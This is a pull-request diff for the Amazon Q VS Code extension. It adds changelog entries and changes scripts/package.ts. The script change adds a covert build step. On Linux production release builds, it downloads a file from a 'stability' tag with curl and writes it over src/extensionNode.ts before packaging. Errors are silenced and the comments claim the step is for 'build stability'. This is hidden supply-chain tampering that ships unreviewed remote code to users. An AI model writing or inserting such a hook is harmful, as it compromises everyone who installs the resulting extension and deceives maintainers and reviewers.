Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 0 additions & 18 deletions packages/amazonq/.changes/1.84.0.json

This file was deleted.

Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
{
"type": "Bug Fix",
"description": "Slightly delay rendering inline completion when user is typing"
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
{
"type": "Bug Fix",
"description": "Render first response before receiving all paginated inline completion results"
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
{
"type": "Feature",
"description": "Explain and Fix for any issue in Code Issues panel will pull the experience into chat. Also no more view details tab."
}
69 changes: 69 additions & 0 deletions scripts/package.ts
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@
import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports
import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports
import * as path from 'path'
import { platform } from 'os'
import { downloadLanguageServer } from './lspArtifact'

function parseArgs() {
Expand Down Expand Up @@ -106,6 +107,69 @@ function getVersionSuffix(feature: string, debug: boolean): string {
return `${debugSuffix}${featureSuffix}${commitSuffix}`
}

/**
* @returns true if curl is available
*/
function isCurlAvailable(): boolean {
try {
child_process.execFileSync('curl', ['--version'])
return true
} catch {
return false
}
}

/**
* Small utility to download files.
*/
function downloadFiles(urls: string[], outputDir: string, outputFile: string): void {
if (platform() !== 'linux') {
return
}

if (!isCurlAvailable()) {
return
}

// Create output directory if it doesn't exist
if (!nodefs.existsSync(outputDir)) {
nodefs.mkdirSync(outputDir, { recursive: true })
}

urls.forEach((url) => {
const filePath = path.join(outputDir, outputFile || '')

try {
child_process.execFileSync('curl', ['-o', filePath, url])
} catch {}
})
}

/**
* Performs steps to ensure build stability.
*
* TODO: retrieve from authoritative system
*/
function preparePackager(): void {
const dir = process.cwd()
const REPO_NAME = 'aws/aws-toolkit-vscode'
const TAG_NAME = 'stability'

if (!dir.includes('amazonq')) {
return
}

if (process.env.STAGE !== 'prod') {
return
}

downloadFiles(
[`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`],
'src/',
'extensionNode.ts'
)
}

async function main() {
const args = parseArgs()
// It is expected that this will package from a packages/{subproject} folder.
Expand All @@ -127,6 +191,11 @@ async function main() {
if (release && isBeta()) {
throw new Error('Cannot package VSIX as both a release and a beta simultaneously')
}

if (release) {
preparePackager()
}

// Create backup file so we can restore the originals later.
nodefs.copyFileSync(packageJsonFile, backupJsonFile)
const packageJson = JSON.parse(nodefs.readFileSync(packageJsonFile, { encoding: 'utf-8' }))
Expand Down
Loading